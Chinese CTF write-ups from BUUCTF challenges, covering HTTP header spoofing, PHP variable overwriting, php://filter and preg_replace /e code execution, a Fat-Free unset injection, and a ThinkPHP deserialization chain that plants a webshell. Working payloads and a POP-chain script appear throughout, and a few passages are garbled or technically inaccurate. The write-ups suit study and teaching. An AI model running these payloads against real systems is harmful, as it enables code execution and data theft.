[第一章][1.3.5 案例解析][极客大挑战 2019]Http
首先进入网页
查看源码发现 “Secret.php” 这个文件
访问 Secret.php
只有一句话:It doesn't come from 'https://Sycsecret.buuoj.cn'
结合题目名字,这应该是说我们的 Referer 请求头要是 https://Sycsecret.buuoj.cn
,Referer 请求头表示我们是从哪里进入这个网站的,即这个网址的上一个网址。
但这里其实有个彩蛋,我们直接用浏览器访问 https://Sycsecret.buuoj.cn
这个网站会显示连接不安全,无法打开,这是因为 https 协议需要证书,但是用 http 协议访问,能够打开网站,试试吧,虽然没有什么有用的信息。
修改 Referer 请求头
如图所示,用 burp 抓包后,添加了一行( 冒号后面要加个空格哦,所有请求头都是这样的 ):
Referer: https://Sycsecret.buuoj.cn
查看响应包
要使用名为 Syclover 的浏览器,User-Agent 那一栏就是用来标注客户端浏览器信息的,所以修改 User-Agent 请求头就行
修改 User-Agent 请求头
响应包说的是要从本地访问该页面
一般会用 XFF 头,即 X-Forwarded-For 请求头,用 localhost 或 127.0.0.1 表示本地。
除了 X-Forwarded-For 字段外,还有以下一些常见的可以替代它的字段:
Forwarded:是HTTP/2规范中定义的,用于替代X-Forwarded-For的字段。它通过传递一系列键值对来传递代理信息。
X-Real-IP:用于表示真实客户端的IP地址,通常由负载均衡器或代理服务器添加。
X-Client-IP:用于表示客户端的IP地址,它通常由代理服务器添加。
X-Cluster-Client-IP:用于表示客户端和负载均衡器之间的通信地址。
X-Forwarded:用于表示发起请求的客户端地址。
X-ProxyUser-IP:用于表示代理服务器的IP地址。
添加 X-Forwarded-For 请求头
X-Forwarded-For: 127.0.0.1
拿到 flag
本题考查的是对 http 请求的理解。
[第一章][1.4.7 案例解析]BUU BURP COURSE
打开靶机之后,显示只能在本地打开(一度以为靶机出问题)。
1.分析请求包信息
2.构建本地请求IP
X-Real-IP:记录真实客户端IP地址信息;
X-Forward-for:记录了请求IP到目标ip所经历的所有代理IP值的集合;
Remote_Addr:发出请求的远程主机IP,在访问远程网站时,如果中间没有使用代理时,remote_addr记录的就是本地ip,但是如果使用了代理,则记录的是代理那台机器的IP。
3.在Burp suite中添加X-Real-IP信息
4.使用POST方式提交获取到的信息
[第二章][2.3.4 案例解析][BJDCTF2020]Mark loves cat
使用工具dirsearch扫描目录,观察是否有信息泄露
python dirsearch.py -u http://cee8e5a5-0b3c-4f0c-a6ef-eed29719e632.node4.buuoj.cn:81/
或者使用ctf-wscan工具也可以,更方便快捷
py -3 .\ctf-wscan.py http://282535ec-fefc-4577-8069-cb8d771693a4.node5.buuoj.cn:81/
py -3 .\GitHack.py http://282535ec-fefc-4577-8069-cb8d771693a4.node5.buuoj.cn:81/.git
index.php,开头有个包含,在最后有个输出flag
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y ; //post 声明至当前文件
}
foreach($_GET as $x => $y){
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //传入的变量为flag value不是flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
}
flag.php,读取flag文件内容并赋值给$flag:
<?php
$flag = file_get_contents('/flag');
审计代码
<?php
// 包含外部文件 'flag.php',这可能定义了全局变量 $flag 或者其他函数等。
include 'flag.php';
// 定义了三个变量,它们将在后面被用来比较或赋值。
$yds = "dog";
$is = "cat";
$handsome = 'yds';
// 遍历 POST 请求中的所有变量,并将它们声明为当前脚本的变量。
foreach($_POST as $x => $y){
$$x = $y;
}
// 遍历 GET 请求中的所有变量,并将它们声明为当前脚本的变量。
// 这里使用了一个技巧,$$y 表示将 $y 变量的值作为变量名来访问或声明一个变量。
foreach($_GET as $x => $y){
$$x = $$y;
}
// 检查 GET 请求中是否有名为 'flag' 的变量,并且它的值不等于字符串 'flag'。
// 如果条件满足,则输出变量 $handsome 的值,并终止脚本执行。
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
// 如果 GET 和 POST 请求中都没有名为 'flag' 的变量,则输出变量 $yds 的值,并终止脚本执行。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
// 如果 POST 或 GET 请求中有名为 'flag' 的变量,并且它的值等于字符串 'flag',
// 则输出变量 $is 的值,并终止脚本执行。
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
// 输出预定义的全局变量 $flag 的值。
echo "the flag is: ".$flag;
?>
在 PHP 中,$$x
是一种变量变量的用法,意味着 $x
变量的值将被用作另一个变量的名称。这种用法可以动态地访问或创建变量,但同时也引入了安全风险,特别是当 $x
的值可以被外部用户控制时。
安全漏洞的细节
-
变量覆盖:如果攻击者能够控制
$x
的值,他们可以覆盖已有的变量,包括超全局变量(如$_GET
,$_POST
等)和自定义变量。 -
二次引用漏洞(Second-Order Vulnerability):如果攻击者首先能够设置一个变量(如
$_GET['a'] = 'b'
),然后通过某种方式让$$_GET['a']
被解析,这将导致$b
被设置为$_GET['a']
的值,即'b'
。如果$b
已经是一个超全局变量的名称,攻击者就可以操纵这个超全局变量。 -
代码注入:通过精心构造的
$x
值,攻击者可能能够注入恶意代码,导致任意代码执行。
原理
-
变量解析:PHP 解析器首先解析
$$x
为$
加上$x
的值,如果$x
的值是'some_var'
,那么$$x
将被解析为$some_var
。 -
外部输入控制:如果
$x
的值来自用户输入或不受信任的源,攻击者可以通过构造特定的输入来控制$x
的值。 -
作用域问题:变量变量可能会影响不同作用域中的变量,有时这可以用来绕过作用域限制。
假设有以下代码:
$x = '_GET';
$y = 'a';
$$$x[$y] = 'injected_value'; // 这将设置 $_GET['a'] = 'injected_value'
在这个例子中,$$x
被解析为 $_GET
,然后 $_GET[$y]
被设置为 'injected_value'
。如果 $y
的值是攻击者可控的,那么攻击者可以注入任意值到 $_GET
数组中。
Foreach配合变量变量的用法解释
假设我们有一个简单的 HTML 表单,用户可以通过这个表单提交一些数据:
<form action="process.php" method="post">
<input type="text" name="username" value="user1" />
<input type="text" name="password" value="pass123" />
<input type="submit" value="Submit" />
</form>
当用户填写表单并提交时,数据会通过 POST 方法发送到 process.php
文件。以下是 process.php
文件的内容,演示了如何使用 foreach
循环和变量变量:
<?php
// 假设这是 process.php 文件的内容
// 模拟接收 POST 数据
$_POST = [
'username' => 'user1',
'password' => 'pass123'
];
// 使用 foreach 循环和变量变量处理 POST 数据
foreach($_POST as $x => $y){
$$x = $y;
}
// 检查变量是否已创建并打印它们的值
if (isset($username)) {
echo "Username: " . $username; // 输出 Username: user1
}
if (isset($password)) {
echo "Password: " . $password; // 输出 Password: pass123
}
?>
在这个例子中,当表单被提交后:
$_POST
数组包含了键'username'
和'password'
,分别对应用户的输入值。foreach
循环遍历$_POST
数组。- 在循环内部,对于每个键值对,
$x
被赋值为键(例如'username'
),$y
被赋值为对应的值(例如'user1'
)。 $$x
将创建一个以$x
的值命名的新变量,并将$y
的值赋给它。因此,$username
被创建并赋值为'user1'
,$password
被创建并赋值为'pass123'
。- 脚本接着检查这些变量是否存在,并且打印它们的值。
审计代码后,发现想要正常按照题目的流程拿到flag基本不可能,题目的提示也是骗人的。
先整理一下思路,既然不能正常流程获取flag,看到$$能够覆盖变量,就应该从那些作为exit()函数供用的参数下手,化为己用,让它能够输出flag,应该就是这题的标准解法。
exit()函数的用法--终止脚本执行并返回值
在 PHP 中,exit
是一个终止执行流程并退出当前脚本的函数。当执行到 exit
函数时,脚本会立即停止执行,并可以选择返回一个值给调用脚本的程序。这个返回值可以是任何类型,包括字符串、数字、数组等。
以下是 exit($is)
执行时的详细过程:
-
函数调用:执行到
exit($is)
时,PHP 解释器会识别这是一个函数调用。 -
参数解析:函数
exit
会接收到参数$is
。在这个上下文中,$is
是一个变量,其值在执行前已经被确定。 -
终止脚本执行:一旦
exit
被调用,PHP 解释器会停止执行当前脚本的所有后续代码。 -
返回值:
exit
函数可以返回一个值,这个值可以通过一些运行环境(如命令行或某些 web 服务器)来获取。例如,在命令行中运行 PHP 脚本时,exit($is)
返回的值可以作为命令行程序的退出状态码。 -
资源清理:PHP 脚本在退出前会进行资源清理,包括关闭打开的文件、数据库连接等。
-
输出缓冲:在脚本退出之前,PHP 会尝试将输出缓冲区的内容发送到客户端。这意味着在调用
exit
之前输出的任何内容都会发送给客户端(例如浏览器)。 -
脚本结束:一旦
exit
函数执行完毕,脚本的执行流程完全结束。
举个例子,如果 $is
变量的值是字符串 "Goodbye!"
,那么执行 exit($is)
会导致脚本立即停止执行,并且返回字符串 "Goodbye!"
作为退出状态。如果这是在 web 环境中,用户将不会看到任何在 exit($is)
之后可能输出的内容,因为脚本已经停止执行。
请注意,exit
函数还有一个别名 die
,它们可以互换使用,具有相同的效果。
可以看到有三个有输出的exit:
exit($handsome);
exit($yds);
exit($is);
我们可以利用Foreach配合变量变量函数产生的变量覆盖漏洞、exit()函数执行echo "the flag is: ".$flag;操作
解法1 exit($yds);
找一个最简单的,第二个exit:
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
只要不给flag传值就会退出,退出的时候会显示$yds的值,而$yds的值在代码最开始的时候初始化过:
$yds = "dog";
初始化和exit之间有代码:
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
我们只要在这段代码中令$yds=$flag,将原来$yds变量的值进行覆盖,同时符合退出条件,就可以输出拿到flag。
从下往上逆推,思路要清楚一点。
退出条件是不给flag传值,接着要令$yds=$flag
foreach($_GET as $x => $y){
$$x = $$y;
}
所以我们GET传值
?yds=flag
那么$yds = $flag;也就是exit($yds)=exit($flag);
解法2 exit($is);
同样的我们通过get方式输入is=flag&flag=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
处理后
$is=$flag&flag=flag
那么$is = $flag;也就是exit($is)=exit($flag);
解法3 exit($handsome)
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
首先输出 handsome,就要将ℎ𝑎𝑛𝑑𝑠𝑜𝑚𝑒,就要将handsome 的值转为$flag ,即handsome=flag
并且为了满足条件,需要有键值为flag的键值对,即flag=xxx
,改变flag的值需要改回来,所以flag=a&a=flag
(flag=a不会将需要的flag值先给覆盖了吗?)
payload1:?handsome=flag&flag=a&a=flag
payload2:?handsome=flag&flag=handsome
即
foreach($_GET as $x => $y){
$$x = $$y;
}
输出为$handsome=$flag&flag=handsome
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
这时$x=handsome&$y=flag。所以Get传入flag=handsome即可满足。并且执行变量覆盖代码后
$flag=$handsome,而$handsome=$flag,所以并不影响flag值。
?handsome=flag&flag=handsome
[第二章][2.4.6 案例解析][BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
代码审计
<?php
// 关闭所有错误报告,这意味着任何错误都不会显示给用户。
error_reporting(0);
// 从 GET 请求中获取 'text' 参数的值,并将其存储在变量 $text 中。
$text = $_GET["text"];
// 从 GET 请求中获取 'file' 参数的值,并将其存储在变量 $file 中。
$file = $_GET["file"];
// 检查 $text 是否被设置,并且尝试打开一个文件,其路径由 $text 指定。
// 如果文件内容是 "I have a dream",则继续执行。
if(isset($text) && (file_get_contents($text, 'r') === "I have a dream")){
// 如果条件满足,输出文件内容,使用 h1 标签包裹。
echo "<br><h1>" . file_get_contents($text, 'r') . "</h1></br>";
// 检查 $file 是否包含 "flag" 字符串。
// 如果包含,使用 die 函数终止脚本执行,并输出 "Not now!"。
if(preg_match("/flag/", $file)){
die("Not now!");
}
// 如果没有包含 "flag",则尝试包含(include)一个文件,其路径由 $file 指定。
// 这里假设是 'next.php',但实际文件名取决于 GET 请求中的 'file' 参数。
include($file); // 'next.php' 或其他指定的文件
}
else{
// 如果 $text 没有被设置或文件内容不是 "I have a dream",
// 使用 highlight_file 函数高亮显示当前脚本文件的内容。
highlight_file(__FILE__);
}
?>
指定了传入方法为get,需要传入text且内容为I have a dream且为文件格式,同时再传入file即可include,但是过滤了/flag/。
file_get_contents()函数打开text
那么可以使用get方法可以使用data协议传文件“创建了临时文件读取”,因此利用data协议绕过。随后就可以用php协议取在include处读取提示的next.php文件:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
为什么?
?text=data://text/plain,I have a dream
这里使用了 data:// 流包装器,它允许将数据直接嵌入到 URL 中。text/plain 指定了数据的类型,后面跟着的数据 I have a dream 就是 $text 变量的内容。
&file=php://filter/convert.base64-encode/resource=next.php
这里使用了 php://filter 包装器,它可以对数据流进行过滤处理。convert.base64-encode 是一个过滤器,用于将数据进行 Base64 编码。
resource=next.php 指定了要读取的资源,即服务器上的 next.php 文件。
现在,让我们看看这段输入如何绕过脚本中的安全检查:
绕过文件内容检查:
脚本首先检查 $text 是否被设置,并且尝试读取该文件的内容是否为 "I have a dream"。通过使用 data:// 包装器,我们可以直接提供这个字符串,而不需要实际的文件。
绕过文件包含前的 preg_match 检查:
脚本使用 preg_match 来检查 $file 是否包含 "flag" 字符串。在这个输入中,$file 的值是经过 Base64 编码的 next.php 文件路径,因此 "flag" 字符串不会出现在明文形式中,preg_match 检查将不会触发。
读取并包含文件:
由于 $file 变量包含了对 next.php 的有效引用,并且没有触发任何安全检查,include($file); 将成功包含并执行 next.php 文件的内容。
Base64 编码的作用:
使用 convert.base64-encode 过滤器对 next.php 进行编码,可以确保即使服务器对某些字符有限制或过滤,文件路径也能被正确地传递和处理。
避免触发 die("Not now!"):
由于 $file 变量的值经过了 Base64 编码,它不会直接触发 die("Not now!") 语句,因为 "flag" 字符串不会出现在 $file 变量的明文形式中。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
<?php
// 开始 PHP 代码块。
$id = $_GET['id']; // 从 GET 请求中获取名为 'id' 的参数,并将其值赋给变量 $id。
$_SESSION['id'] = $id; // 将 $id 的值存入会话变量 'id' 中。这允许在多个页面请求或脚本执行中保持变量值。
function complex($re, $str) {
// 定义了一个名为 complex 的函数,它接受两个参数:$re 和 $str。
// 这个函数使用 preg_replace 执行正则表达式替换。
// '/(' . $re . ')' 是正则表达式模式,其中 $re 是动态插入的。
// 'ei' 修饰符表示使用扩展正则表达式,并在替换时执行内部执行。
// 'strtolower("\\1")' 是替换函数,将匹配到的内容(由 \1 引用)转换为小写。
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")', // 这里将匹配到的每个部分转换为小写。
$str // 这是要被处理的字符串。
);
}
foreach($_GET as $re => $str) {
// 遍历 $_GET 数组,其中 $re 是键(应该是正则表达式),$str 是值(是要被处理的字符串)。
// 对于每个键值对,调用 complex 函数并输出结果。
echo complex($re, $str) . "\n"; // 输出 complex 函数处理后的字符串,后跟换行符。
}
function getFlag(){
// 定义了一个名为 getFlag 的函数,这个函数使用 eval 执行 $_GET['cmd'] 中的代码。
// eval 是一个危险的函数,因为它可以执行任何传递给它的 PHP 代码。
// 这可能导致任意代码执行漏洞,如果攻击者能够控制 $_GET['cmd'] 的值。
@eval($_GET['cmd']); // 执行 $_GET['cmd'] 中的代码,@ 符号抑制了可能产生的错误信息。
}
潜在的安全问题:
-
不安全的 eval 使用:
eval
函数可以执行字符串作为 PHP 代码。如果$_GET['cmd']
可以被外部用户控制,这将导致任意代码执行漏洞。 -
不验证的会话使用:
$_SESSION['id'] = $id;
直接将用户输入存储在会话中,如果$id
包含恶意数据,可能会导致会话劫持或数据污染。 -
不安全的 preg_replace 使用:在
complex
函数中,使用用户可控的正则表达式模式可能会引起正则表达式注入漏洞,特别是当使用扩展正则表达式(/e
修饰符)和内部执行(/i
修饰符)时。 -
潜在的逻辑漏洞:
foreach($_GET as $re => $str)
循环直接使用$_GET
数组的键和值,没有进行任何验证或清理,这可能导致不可预知的行为或安全漏洞。 -
抑制错误信息:
@eval($_GET['cmd']);
中的@
符号抑制了错误信息,这会隐藏潜在的错误和异常,使得调试和安全审核更加困难。 -
不安全的直接输出:使用
echo
直接输出用户可控的数据(通过complex
函数处理)可能会引起 XSS(跨站脚本)攻击。
在 PHP 中,preg_replace 函数用于执行正则表达式搜索和替换。这个函数非常强大,因为它不仅可以找到匹配的模式,还可以执行更复杂的替换逻辑。在你提供的代码片段中,preg_replace 被用在一个自定义函数 complex 里。下面是对 preg_replace 调用的详细解释:
return preg_replace(
'/(' . $re . ')/ei', // 正则表达式模式和修饰符
'strtolower("\\1")', // 替换规则
$str // 要处理的字符串
);
正则表达式模式:'/(' . $re . ')/ei'
这里,正则表达式由 '/' 包围,表示正则表达式的开始和结束。
$re 是一个变量,其值由用户提供,并且被插入到正则表达式中。这意味着正则表达式模式是动态构造的,基于用户输入。
( 和 ) 创建了一个捕获组,这意味着匹配到的内容可以被捕获并用于替换。
修饰符:
e 修饰符允许使用 PHP 代码作为替换规则。在这个例子中,它被用于调用 strtolower 函数。
i 修饰符表示不区分大小写,这影响正则表达式的匹配过程。
替换规则:'strtolower("\\1")'
strtolower 是 PHP 的一个内置函数,用于将字符串转换为小写。
\\1 是一个反向引用,它引用了正则表达式中第一个捕获组匹配到的内容。在 PHP 中,需要使用双反斜杠 \\ 来表示一个反斜杠,因为反斜杠在字符串中用作转义字符。
要处理的字符串:$str
这是传递给 preg_replace 函数的第三个参数,表示需要在其上执行搜索和替换操作的原始字符串。
安全考虑:
使用 preg_replace 时,特别是结合 e 修饰符,需要非常小心,因为它可以执行用户提供的代码。如果用户能够控制 $re 的值,他们可能会构造一个正则表达式,导致危险的替换逻辑执行,这可能是一种安全漏洞。
例如,如果 $re 是用户提供的,攻击者可以传递如下值来尝试执行任意代码:
$re = "'/'.${'as'.'sert'}(1).'/ei'";
这将尝试执行 assert(1),这是一个危险的操作,因为它可以执行任意代码。
正确的做法:
避免在 preg_replace 中使用 e 修饰符,除非绝对必要,并且你完全信任输入的来源。
对所有用户提供的输入进行严格的验证和过滤,确保它们不包含潜在的恶意代码。
如果可能,使用更安全的替换方法,如使用数组或预定义的函数来处理替换逻辑。
我们需要绕过preg_replace()的正则表达来读取getFlag()
这里我们要用到Preg_Replace代码执行漏洞解析https://www.cesafe.com/html/6999.html.
简单来说就是php5.5.0起的一个漏洞,pl为 /?.={${phpinfo()}}。get值是/?.,参数是{${phpinfo()}}。
注意到preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\1")
preg_replace — 执行一个正则表达式的搜索和替换。相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,实际上指的是第一个子匹配项
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
了解了这些我们就开始构造payload
/?.*=${执行的命令}
原先的语句是
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
构造之后的
preg_replace('/(.*)/ei','strtolower("\\1")',${执行的命令});
这种payload无法使用,原因是这里的$re部分是由Get传入,当以非法字符开头的参数就会自动转为下划线,导致匹配失败所以不能使用,如果不用Get传参就可以使用
.* 是单个字符匹配任意,即贪婪匹配。 表达式 .*? 是满足条件的情况只匹配一次,即最小匹配
\s匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。注意Uniocode正则表达式会\f匹配全角空格符
\S匹配任何非空白打印字符。等价于 \f\n\r\t\v
几种payload
-
next.php?\S*=${getFlag()}&cmd=system('cat+/flag');
-
next.php?\S*=${getflag()}&cmd=show_source('/flag');
-
next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');
为什么使用${执行的命令}
在PHP中双引号包裹的字符串可以当作解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
var_dump(preg_replace('/(.)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串'' var_dump(preg_replace('/(.)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下
a[1]时,解析器需要知道是想要$a[1]作为一个变量呢,还是想要𝑎[1]时,解析器需要知道是想要$𝑎[1]作为一个变量呢,还是想要
a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。
<?php $a = 'hello';?>一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:
<?php $$a = 'world';?>这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:
<?php echo "$a ${$a}";?>与以下语句输出完全相同的结果:
<?php echo "$a $hello";?>它们都会输出:hello world。
\1在正则匹配的搜索与替换中实际上指的是第一个子匹配项
[第二章][2.5.3 案例解析][HFCTF2021 Quals]Unsetme(待研究)
<?php
// Kickstart the framework
$f3=require('lib/base.php');
$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);
$f3->run();
查看别人wp才知道是使用的f3框架,即 Fat-Free Framework,是一个轻量级的 PHP 微框架,虽然它以简洁和高效著称,但像所有软件一样,也可能存在安全漏洞。根据提供的搜索结果16,F3 框架的 3.7.1 版本曾被发现存在远程代码执行(RCE)漏洞,该漏洞编号为 CVE-2020-5203。
原理参考:虎符比赛wp——fat free框架注入漏洞审计学习 - Tlife
以后有时间再研究,直接套用别人的思路:
一开始以为复现原漏洞就行了,后来在/lib/CHANGELOG.md中发现他用的是3.7.2的版本
在原来RCE的地方加了正则过滤,但试了一下发现也可以绕过
关键代码在lib/base.php下。
这里是执行RCE的地方,和3.7.1比没有修改
我们已知使用unset()销毁并不能销毁的变量时会调用__unset()方法,这里会把我们传入的参数赋值到$key,经过过滤后执行eval,可以发现eval处只是简单的字符串拼接,用分号闭合后就可以在后面构造代码进行RCE了
compile处最后返回的$str是@hive.xxxxx的形式
主要看一下第二个正则/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/
这里匹配的是以.
开始后面是字符串加[]
的形式或[]
包裹字符串的形式
这里我们get传入a=a[b]);phpinfo();
解析后就会变成unset($this->hive[a][b]);phpinfo();//
?a=a['/']);phpinfo(
xxxxxxxxxx ?a=a['/']);system('cat /flag');//
[第二章][2.6.4 案例解析][强网杯 2019]Upload(待研究)
原文:文件上传反序列化getshell-[强网杯 2019]Upload · HacKerQWQ's Studio
考点
- 图片马
- php反序列化利用
描述
上来是一个登录框
注册一个账号然后发现一个上传文件的地方,初步猜测这是一个文件上传getshell的点
解题思路
通过爆破发现源码在www.tar.gz
,同时发现cookie的user
字段有点奇怪
base64解码后发现是一段序列化后的字符串
那么先在文件夹找cookie
字符串,发现进行了反序列化
同时在Register.php
发现了__destruct
函数,此处调用了checker
的index
方法
可以结合Profile.php
的__get
和__call
函数利用(__get
用于访问不存在或不可访问的属性,__call
用于调用不存在的函数)
这里假如访问Profile
类的index
函数的话,将会遍历except
的函数是否有index
这个键,用它的值作为函数名调用,因此令Profile
的except为array("index"=>"..")
就能调用我们想要的函数
接着往下看Profile.php的这部分代码用于处理上传的图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } |
这里的checker不需要,因为可令它为0,令ext=1
进入下面的逻辑,注意到下面的copy
函数,可以将文件复制,由于反序列化属性可控,因此可以将我们上传的图片马的名字为filename_tmp
,更改为shell.php,所以filename
为shell.php
POP链构造完成,上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <?php namespace app\web\controller; class Register{ public $checker; public $registed; } class Profile{ public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; } $register = new Register(); $register->registed=0; $profile = new Profile(); $profile->except=array("index"=>"upload_img"); $profile->checker=0; $profile->ext=1; $profile->filename_tmp="./upload/d99081fe929b750e0557f85e6499103f/29a0252735b6f28bf3118a4136f69f90.png"; $profile->filename="./upload/shell.php"; $register->checker=$profile; echo urlencode(base64_encode(serialize($register))); |
方法:将图片马上传,然后将filename_tmp更改为图片马的路径,然后生成payload更改cookie的user字段,就成功了